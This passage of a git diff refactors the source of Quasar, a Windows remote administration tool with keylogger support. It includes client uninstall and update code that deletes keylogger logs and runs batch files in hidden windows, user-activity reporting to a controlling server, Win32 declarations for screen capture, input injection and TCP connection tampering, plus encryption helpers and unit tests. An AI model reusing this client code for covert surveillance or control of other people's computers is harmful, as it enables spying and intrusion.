keylogger log files + Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$"); + + foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly) + .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList()) + { + try + { + File.Delete(logFile); + } + catch (Exception) + { + // no important exception + } + } + } + + string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + } +} diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs new file mode 100644 index 000000000..3141724bd --- /dev/null +++ b/Quasar.Client/Setup/ClientUpdater.cs @@ -0,0 +1,38 @@ +using Quasar.Client.Config; +using Quasar.Client.IO; +using Quasar.Common.Helpers; +using System; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Client.Setup +{ + public class ClientUpdater : ClientSetupBase + { + public void Update(string newFilePath) + { + FileHelper.DeleteZoneIdentifier(newFilePath); + + var bytes = File.ReadAllBytes(newFilePath); + if (!FileHelper.HasExecutableIdentifier(bytes)) + throw new Exception("No executable file."); + + string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + + if (Settings.STARTUP) + { + var clientStartup = new ClientStartup(); + clientStartup.RemoveFromStartup(Settings.STARTUPKEY); + } + } + } +} diff --git a/Quasar.Client/User/ActivityDetection.cs b/Quasar.Client/User/ActivityDetection.cs new file mode 100644 index 000000000..c6865a1df --- /dev/null +++ b/Quasar.Client/User/ActivityDetection.cs @@ -0,0 +1,125 @@ +using Quasar.Client.Helper; +using Quasar.Client.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using System; +using System.Threading; + +namespace Quasar.Client.User +{ + /// + /// Provides user activity detection and sends messages on change. + /// + public class ActivityDetection : IDisposable + { + /// + /// Stores the last user status to detect changes. + /// + private UserStatus _lastUserStatus; + + /// + /// The client to use for communication with the server. + /// + private readonly QuasarClient _client; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of using the given client. + /// + /// The name of the mutex. + public ActivityDetection(QuasarClient client) + { + _client = client; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + // reset user status + if (connected) + _lastUserStatus = UserStatus.Active; + } + + /// + /// Starts the user activity detection. + /// + public void Start() + { + new Thread(UserActivityThread).Start(); + } + + /// + /// Checks for user activity changes sends to the on change. + /// + private void UserActivityThread() + { + try + { + if (IsUserIdle()) + { + if (_lastUserStatus != UserStatus.Idle) + { + _lastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + else + { + if (_lastUserStatus != UserStatus.Active) + { + _lastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + } + } + + /// + /// Determines whether the user is idle if the last user input was more than 10 minutes ago. + /// + /// True if the user is idle, else false. + private bool IsUserIdle() + { + var ticks = Environment.TickCount; + + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + + return (idleTime > 600); // idle for 10 minutes + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Quasar.Client/User/UserAccount.cs b/Quasar.Client/User/UserAccount.cs new file mode 100644 index 000000000..5893202ef --- /dev/null +++ b/Quasar.Client/User/UserAccount.cs @@ -0,0 +1,39 @@ +using Quasar.Common.Enums; +using System; +using System.Security.Principal; + +namespace Quasar.Client.User +{ + public class UserAccount + { + public string UserName { get; } + + public AccountType Type { get; } + + public UserAccount() + { + UserName = Environment.UserName; + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal principal = new WindowsPrincipal(identity); + + if (principal.IsInRole(WindowsBuiltInRole.Administrator)) + { + Type = AccountType.Admin; + } + else if (principal.IsInRole(WindowsBuiltInRole.User)) + { + Type = AccountType.User; + } + else if (principal.IsInRole(WindowsBuiltInRole.Guest)) + { + Type = AccountType.Guest; + } + else + { + Type = AccountType.Unknown; + } + } + } + } +} diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs new file mode 100644 index 000000000..b1a7064a4 --- /dev/null +++ b/Quasar.Client/Utilities/NativeMethods.cs @@ -0,0 +1,219 @@ +using System; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Utilities +{ + /// + /// Provides access to the Win32 API. + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential)] + internal struct LASTINPUTINFO + { + public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); + [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; + } + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); + + /// + /// Performs a bit-block transfer of the color data corresponding to a + /// rectangle of pixels from the specified source device context into + /// a destination device context. + /// + /// Handle to the destination device context. + /// The leftmost x-coordinate of the destination rectangle (in pixels). + /// The topmost y-coordinate of the destination rectangle (in pixels). + /// The width of the source and destination rectangles (in pixels). + /// The height of the source and the destination rectangles (in pixels). + /// Handle to the source device context. + /// The leftmost x-coordinate of the source rectangle (in pixels). + /// The topmost y-coordinate of the source rectangle (in pixels). + /// A raster-operation code. + /// + /// true if the operation succeedes, false otherwise. To get extended error information, call . + /// + [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, + [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("gdi32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); + + [DllImport("gdi32.dll")] + internal static extern bool DeleteDC([In] IntPtr hdc); + + [DllImport("user32.dll")] + internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); + + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); + + [DllImport("user32.dll", SetLastError = false)] + internal static extern IntPtr GetMessageExtraInfo(); + + /// + /// Synthesizes keystrokes, mouse motions, and button clicks. + /// + [DllImport("user32.dll")] + internal static extern uint SendInput(uint nInputs, + [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, + int cbSize); + + [StructLayout(LayoutKind.Sequential)] + internal struct INPUT + { + internal uint type; + internal InputUnion u; + internal static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + internal struct InputUnion + { + [FieldOffset(0)] + internal MOUSEINPUT mi; + [FieldOffset(0)] + internal KEYBDINPUT ki; + [FieldOffset(0)] + internal HARDWAREINPUT hi; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MOUSEINPUT + { + internal int dx; + internal int dy; + internal int mouseData; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct KEYBDINPUT + { + internal ushort wVk; + internal ushort wScan; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct HARDWAREINPUT + { + public uint uMsg; + public ushort wParamL; + public ushort wParamH; + } + + [DllImport("user32.dll")] + internal static extern bool SystemParametersInfo( + uint uAction, uint uParam, ref IntPtr lpvParam, + uint flags); + + [DllImport("user32.dll")] + internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr OpenDesktop( + string hDesktop, int flags, bool inherit, + uint desiredAccess); + + [DllImport("user32.dll")] + internal static extern bool CloseDesktop( + IntPtr hDesktop); + + internal delegate bool EnumDesktopWindowsProc( + IntPtr hDesktop, IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool EnumDesktopWindows( + IntPtr hDesktop, EnumDesktopWindowsProc callback, + IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool IsWindowVisible( + IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("iphlpapi.dll", SetLastError = true)] + internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, + TcpTableClass tblClass, uint reserved = 0); + + [DllImport("iphlpapi.dll")] + internal static extern int SetTcpEntry(IntPtr pTcprow); + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcprowOwnerPid + { + public uint state; + public uint localAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort; + public uint remoteAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; + public uint owningPid; + public IPAddress LocalAddress + { + get { return new IPAddress(localAddr); } + } + + public ushort LocalPort + { + get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); } + } + + public IPAddress RemoteAddress + { + get { return new IPAddress(remoteAddr); } + } + + public ushort RemotePort + { + get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); } + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcptableOwnerPid + { + public uint dwNumEntries; + private readonly MibTcprowOwnerPid table; + } + + internal enum TcpTableClass + { + TcpTableBasicListener, + TcpTableBasicConnections, + TcpTableBasicAll, + TcpTableOwnerPidListener, + TcpTableOwnerPidConnections, + TcpTableOwnerPidAll, + TcpTableOwnerModuleListener, + TcpTableOwnerModuleConnections, + TcpTableOwnerModuleAll + } + } +} diff --git a/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar.Client/Utilities/SingleInstanceMutex.cs new file mode 100644 index 000000000..6170e8229 --- /dev/null +++ b/Quasar.Client/Utilities/SingleInstanceMutex.cs @@ -0,0 +1,62 @@ +using System; +using System.Threading; + +namespace Quasar.Client.Utilities +{ + /// + /// A user-wide mutex that ensures that only one instance runs at a time. + /// + public class SingleInstanceMutex : IDisposable + { + /// + /// The mutex used for process synchronization. + /// + private readonly Mutex _appMutex; + + /// + /// Represents if the mutex was created on the system or it already existed. + /// + public bool CreatedNew { get; } + + /// + /// Determines if the instance is disposed and should not be used anymore. + /// + public bool IsDisposed { get; private set; } + + /// + /// Initializes a new instance of using the given mutex name. + /// + /// The name of the mutex. + public SingleInstanceMutex(string name) + { + _appMutex = new Mutex(false, $"Local\\{name}", out var createdNew); + CreatedNew = createdNew; + } + + /// + /// Releases all resources used by this . + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + /// + /// Releases the mutex object. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + _appMutex?.Dispose(); + } + + IsDisposed = true; + } + } +} diff --git a/Client/app.manifest b/Quasar.Client/app.manifest similarity index 50% rename from Client/app.manifest rename to Quasar.Client/app.manifest index cebc371f6..bf4e01a4d 100644 --- a/Client/app.manifest +++ b/Quasar.Client/app.manifest @@ -1,19 +1,15 @@  - + - + - - - - @@ -26,4 +22,23 @@ - + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Client.Tests/Core/Compression/JpgCompression.Tests.cs b/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs similarity index 76% rename from Client.Tests/Core/Compression/JpgCompression.Tests.cs rename to Quasar.Common.Tests/Compression/JpgCompression.Tests.cs index ecd9b3057..4bf62fa42 100644 --- a/Client.Tests/Core/Compression/JpgCompression.Tests.cs +++ b/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs @@ -1,9 +1,9 @@ -using System; +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Video.Compression; +using System; using System.Drawing; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using xClient.Core.Compression; -namespace xClient.Tests.Core.Compression +namespace Quasar.Common.Tests.Compression { [TestClass] public class JpgCompressionTests @@ -21,4 +21,4 @@ public void CompressionTest() CollectionAssert.AllItemsAreNotNull(result); } } -} \ No newline at end of file +} diff --git a/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs b/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs new file mode 100644 index 000000000..61c2b99c7 --- /dev/null +++ b/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs @@ -0,0 +1,49 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System.Text; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Aes128Tests + { + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptStringTest() + { + var input = StringHelper.GetRandomString(100); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encrypted = aes.Encrypt(input); + + Assert.IsNotNull(encrypted); + Assert.AreNotEqual(encrypted, input); + + var decrypted = aes.Decrypt(encrypted); + + Assert.AreEqual(input, decrypted); + } + + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptByteArrayTest() + { + var input = StringHelper.GetRandomString(100); + var inputByte = Encoding.UTF8.GetBytes(input); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encryptedByte = aes.Encrypt(inputByte); + + Assert.IsNotNull(encryptedByte); + CollectionAssert.AllItemsAreNotNull(encryptedByte); + CollectionAssert.AreNotEqual(encryptedByte, inputByte); + + var decryptedByte = aes.Decrypt(encryptedByte); + + CollectionAssert.AreEqual(inputByte, decryptedByte); + } + } +} diff --git a/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs b/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs new file mode 100644 index 000000000..63e9758f0 --- /dev/null +++ b/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs @@ -0,0 +1,20 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Sha256Tests + { + [TestMethod, TestCategory("Cryptography")] + public void ComputeHashTest() + { + var input = StringHelper.GetRandomString(100); + var result = Sha256.ComputeHash(input); + + Assert.IsNotNull(result); + Assert.AreNotEqual(result, input); + } + } +} diff --git a/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs b/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs new file mode 100644 index 000000000..5a4a595d0 --- /dev/null +++ b/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs @@ -0,0 +1,35 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Helpers; + +namespace Quasar.Common.Tests.Helpers +{ + [TestClass] + public class FileHelperTests + { + [TestMethod, TestCategory("Helpers")] + public void RandomFilenameTest() + { + int length = 100; + var name = FileHelper.GetRandomFilename(length); + + Assert.IsNotNull(name); + Assert.IsTrue(name.Length == length); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest() + { + var bytes = new byte[] {77, 90}; + + Assert.IsTrue(FileHelper.HasExecutableIdentifier(bytes)); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest2() + { + var bytes = new byte[] {22, 93}; + + Assert.IsFalse(FileHelper.HasExecutableIdentifier(bytes)); + } + } +} diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..ccdc2efb5 --- /dev/null +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -0,0 +1,20 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +[assembly: AssemblyTitle("Quasar Common Tests")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] + +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar.Common.Tests/Quasar.Common.Tests.csproj b/Quasar.Common.Tests/Quasar.Common.Tests.csproj new file mode 100644 index 000000000..aa7b1789a --- /dev/null +++ b/Quasar.Common.Tests/Quasar.Common.Tests.csproj @@ -0,0 +1,22 @@ + + + net452 + false + + + ..\bin\Debug\ + + + ..\bin\Release\ + none + false + + + + + + + + + + \ No newline at end of file diff --git a/Quasar.Common/Cryptography/Aes256.cs b/Quasar.Common/Cryptography/Aes256.cs new file mode 100644 index 000000000..fa737216b --- /dev/null +++ b/Quasar.Common/Cryptography/Aes256.cs @@ -0,0 +1,128 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Common.Cryptography +{ + public class Aes256 + { + private const int KeyLength = 32; + private const int AuthKeyLength = 64; + private const int IvLength = 16; + private const int HmacSha256Length = 32; + private readonly byte[] _key; + private readonly byte[] _authKey; + + private static readonly byte[] Salt = + { + 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, + 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 + }; + + public Aes256(string masterKey) + { + if (string.IsNullOrEmpty(masterKey)) + throw new ArgumentException($"{nameof(masterKey)} can not be null or empty."); + + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000)) + { + _key = derive.GetBytes(KeyLength); + _authKey = derive.GetBytes(AuthKeyLength); + } + } + + public string Encrypt(string input) + { + return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); + } + + /* FORMAT + * ---------------------------------------- + * | HMAC | IV | CIPHERTEXT | + * ---------------------------------------- + * 32 bytes 16 bytes + */ + public byte[] Encrypt(byte[] input) + { + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); + + using (var ms = new MemoryStream()) + { + ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC + using (var aesProvider = new AesCryptoServiceProvider()) + { + aesProvider.KeySize = 256; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _key; + aesProvider.GenerateIV(); + + using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) + { + ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext + cs.Write(input, 0, input.Length); + cs.FlushFinalBlock(); + + using (var hmac = new HMACSHA256(_authKey)) + { + byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext + ms.Position = 0; // write hash at beginning + ms.Write(hash, 0, hash.Length); + } + } + } + + return ms.ToArray(); + } + } + + public string Decrypt(string input) + { + return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); + } + + public byte[] Decrypt(byte[] input) + { + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); + + using (var ms = new MemoryStream(input)) + { + using (var aesProvider = new AesCryptoServiceProvider()) + { + aesProvider.KeySize = 256; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _key; + + // read first 32 bytes for HMAC + using (var hmac = new HMACSHA256(_authKey)) + { + var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); + byte[] receivedHash = new byte[HmacSha256Length]; + ms.Read(receivedHash, 0, receivedHash.Length); + + if (!SafeComparison.AreEqual(hash, receivedHash)) + throw new CryptographicException("Invalid message authentication code (MAC)."); + } + + byte[] iv = new byte[IvLength]; + ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext + aesProvider.IV = iv; + + using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) + { + byte[] temp = new byte[ms.Length - IvLength + 1]; + byte[] data = new byte[cs.Read(temp, 0, temp.Length)]; + Buffer.BlockCopy(temp, 0, data, 0, data.Length); + return data; + } + } + } + } + } +} diff --git a/Quasar.Common/Cryptography/SafeComparison.cs b/Quasar.Common/Cryptography/SafeComparison.cs new file mode 100644 index 000000000..4ac48975c --- /dev/null +++ b/Quasar.Common/Cryptography/SafeComparison.cs @@ -0,0 +1,29 @@ +using System.Runtime.CompilerServices; + +namespace Quasar.Common.Cryptography +{ + public class SafeComparison + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Client/Core/Cryptography/SHA256.cs b/Quasar.Common/Cryptography/Sha256.cs similarity index 59% rename from Client/Core/Cryptography/SHA256.cs rename to Quasar.Common/Cryptography/Sha256.cs index ccb8ad0ce..c7a6414ce 100644 --- a/Client/Core/Cryptography/SHA256.cs +++ b/Quasar.Common/Cryptography/Sha256.cs @@ -1,9 +1,9 @@ using System.Security.Cryptography; using System.Text; -namespace xClient.Core.Cryptography +namespace Quasar.Common.Cryptography { - public static class SHA256 + public static class Sha256 { public static string ComputeHash(string input) { @@ -11,7 +11,7 @@ public static string ComputeHash(string input) using (SHA256Managed sha = new SHA256Managed()) { - data = sha.ComputeHash(data, 0, data.Length); + data = sha.ComputeHash(data); } StringBuilder hash = new StringBuilder(); @@ -21,5 +21,13 @@ public static string ComputeHash(string input) return hash.ToString().ToUpper(); } + + public static byte[] ComputeHash(byte[] input) + { + using (SHA256Managed sha = new SHA256Managed()) + { + return sha.ComputeHash(input); + } + } } -} \ No newline at end of file +} diff --git a/Server/Core/Data/Host.cs b/Quasar.Common/DNS/Host.cs similarity index 57% rename from Server/Core/Data/Host.cs rename to Quasar.Common/DNS/Host.cs index 60eb3503b..be9318455 100644 --- a/Server/Core/Data/Host.cs +++ b/Quasar.Common/DNS/Host.cs @@ -1,4 +1,6 @@ -namespace xServer.Core.Data +using System.Net; + +namespace Quasar.Common.DNS { public class Host { @@ -6,10 +8,18 @@ public class Host /// Stores the hostname of the Host. /// /// - /// Can be an IPv4 address or hostname. IPv6 support not tested. + /// Can be an IPv4, IPv6 address or hostname. /// public string Hostname { get; set; } + /// + /// Stores the IP address of host. + /// + /// + /// Can be an IPv4 or IPv6 address. + /// + public IPAddress IpAddress { get; set; } + /// /// Stores the port of the Host. /// diff --git a/Quasar.Common/DNS/HostsConverter.cs b/Quasar.Common/DNS/HostsConverter.cs new file mode 100644 index 000000000..905a335e7 --- /dev/null +++ b/Quasar.Common/DNS/HostsConverter.cs @@ -0,0 +1,40 @@ +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Quasar.Common.DNS +{ + public class HostsConverter + { + public List RawHostsToList(string rawHosts) + { + List hostsList = new List(); + + if (string.IsNullOrEmpty(rawHosts)) return hostsList; + + var hosts = rawHosts.Split(';'); + + foreach (var host in hosts) + { + if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; // invalid host, ignore + + ushort port; + if (!ushort.TryParse(host.Substring(host.LastIndexOf(':') + 1), out port)) continue; // invalid, ignore host + + hostsList.Add(new Host { Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port }); + } + + return hostsList; + } + + public string ListToRawHosts(IList hosts) + { + StringBuilder rawHosts = new StringBuilder(); + + foreach (var host in hosts) + rawHosts.Append(host + ";"); + + return rawHosts.ToString(); + } + } +} diff --git a/Quasar.Common/DNS/HostsManager.cs b/Quasar.Common/DNS/HostsManager.cs new file mode 100644 index 000000000..182895a1f --- /dev/null +++ b/Quasar.Common/DNS/HostsManager.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; + +namespace Quasar.Common.DNS +{ + public class HostsManager + { + public bool IsEmpty => _hosts.Count == 0; + + private readonly Queue _hosts = new Queue(); + + public HostsManager(List hosts) + { + foreach(var host in hosts) + _hosts.Enqueue(host); + } + + public Host GetNextHost() + { + var temp = _hosts.Dequeue(); + _hosts.Enqueue(temp); // add to the end of the queue + + temp.IpAddress = ResolveHostname(temp); + return temp; + } + + private static IPAddress ResolveHostname(Host host) + { + if (string.IsNullOrEmpty(host.Hostname)) return null; + + IPAddress ip; + if (IPAddress.TryParse(host.Hostname, out ip)) + { + if (ip.AddressFamily == AddressFamily.InterNetworkV6) + { + if (!Socket.OSSupportsIPv6) return null; + } + return ip; + } + + var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList; + foreach (IPAddress ipAddress in ipAddresses) + { + switch (ipAddress.AddressFamily) + { + case AddressFamily.InterNetwork: + return ipAddress; + case AddressFamily.InterNetworkV6: + /* Only use resolved IPv6 if no IPv4 address available, + * otherwise it could be possible that the router the client + * is using to connect to the internet doesn't support IPv6. + */ + if (ipAddresses.Length == 1) + return ipAddress; + break; + } + } + + return ip; + } + } +} diff --git a/Quasar.Common/Enums/AccountType.cs b/Quasar.Common/Enums/AccountType.cs new file mode 100644 index 000000000..19c3eecd8 --- /dev/null +++ b/Quasar.Common/Enums/AccountType.cs @@ -0,0 +1,10 @@ +namespace Quasar.Common.Enums +{ + public enum AccountType + { + Admin, + User, + Guest, + Unknown + } +} diff --git a/Quasar.Common/Enums/ConnectionState.cs b/Quasar.Common/Enums/ConnectionState.cs new file mode 100644 index 000000000..ce42099d1 --- /dev/null +++ b/Quasar.Common/Enums/ConnectionState.cs @@ -0,0 +1,18 @@ +namespace Quasar.Common.Enums +{ + public enum ConnectionState : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } +} diff --git a/Quasar.Common/Enums/ContentType.cs b/Quasar.Common/Enums/ContentType.cs new file mode 100644 index 000000000..77825129f --- /dev/null +++ b/Quasar.Common/Enums/ContentType.cs @@ -0,0 +1,16 @@ +namespace Quasar.Common.Enums +{ + public enum ContentType + { + // these values must match the index of the images in file manager + Blob = 2, + Application = 3, + Text = 4, + Archive = 5, + Word = 6, + Pdf = 7, + Image = 8, + Video = 9, + Audio = 10 + } +} diff --git a/Server/Enums/PathType.cs b/Quasar.Common/Enums/FileType.cs similarity index 51% rename from Server/Enums/PathType.cs rename to Quasar.Common/Enums/FileType.cs index f21aa2f47..be4b0857e 100644 --- a/Server/Enums/PathType.cs +++ b/Quasar.Common/Enums/FileType.cs @@ -1,6 +1,6 @@ -namespace xServer.Enums +namespace Quasar.Common.Enums { - public enum PathType + public enum FileType { File, Directory, diff --git a/Server/Enums/MouseAction.cs b/Quasar.Common/Enums/MouseAction.cs similarity index 84% rename from Server/Enums/MouseAction.cs rename to Quasar.Common/Enums/MouseAction.cs index ca8b09036..85d1e842b 100644 --- a/Server/Enums/MouseAction.cs +++ b/Quasar.Common/Enums/MouseAction.cs @@ -1,4 +1,4 @@ -namespace xServer.Enums +namespace Quasar.Common.Enums { public enum MouseAction { diff --git a/Quasar.Common/Enums/ProcessAction.cs b/Quasar.Common/Enums/ProcessAction.cs new file mode 100644 index 000000000..048ae7308 --- /dev/null +++ b/Quasar.Common/Enums/ProcessAction.cs @@ -0,0 +1,8 @@ +namespace Quasar.Common.Enums +{ + public enum ProcessAction + { + Start, + End + } +} diff --git a/Client/Enums/ShutdownAction.cs b/Quasar.Common/Enums/ShutdownAction.cs similarity 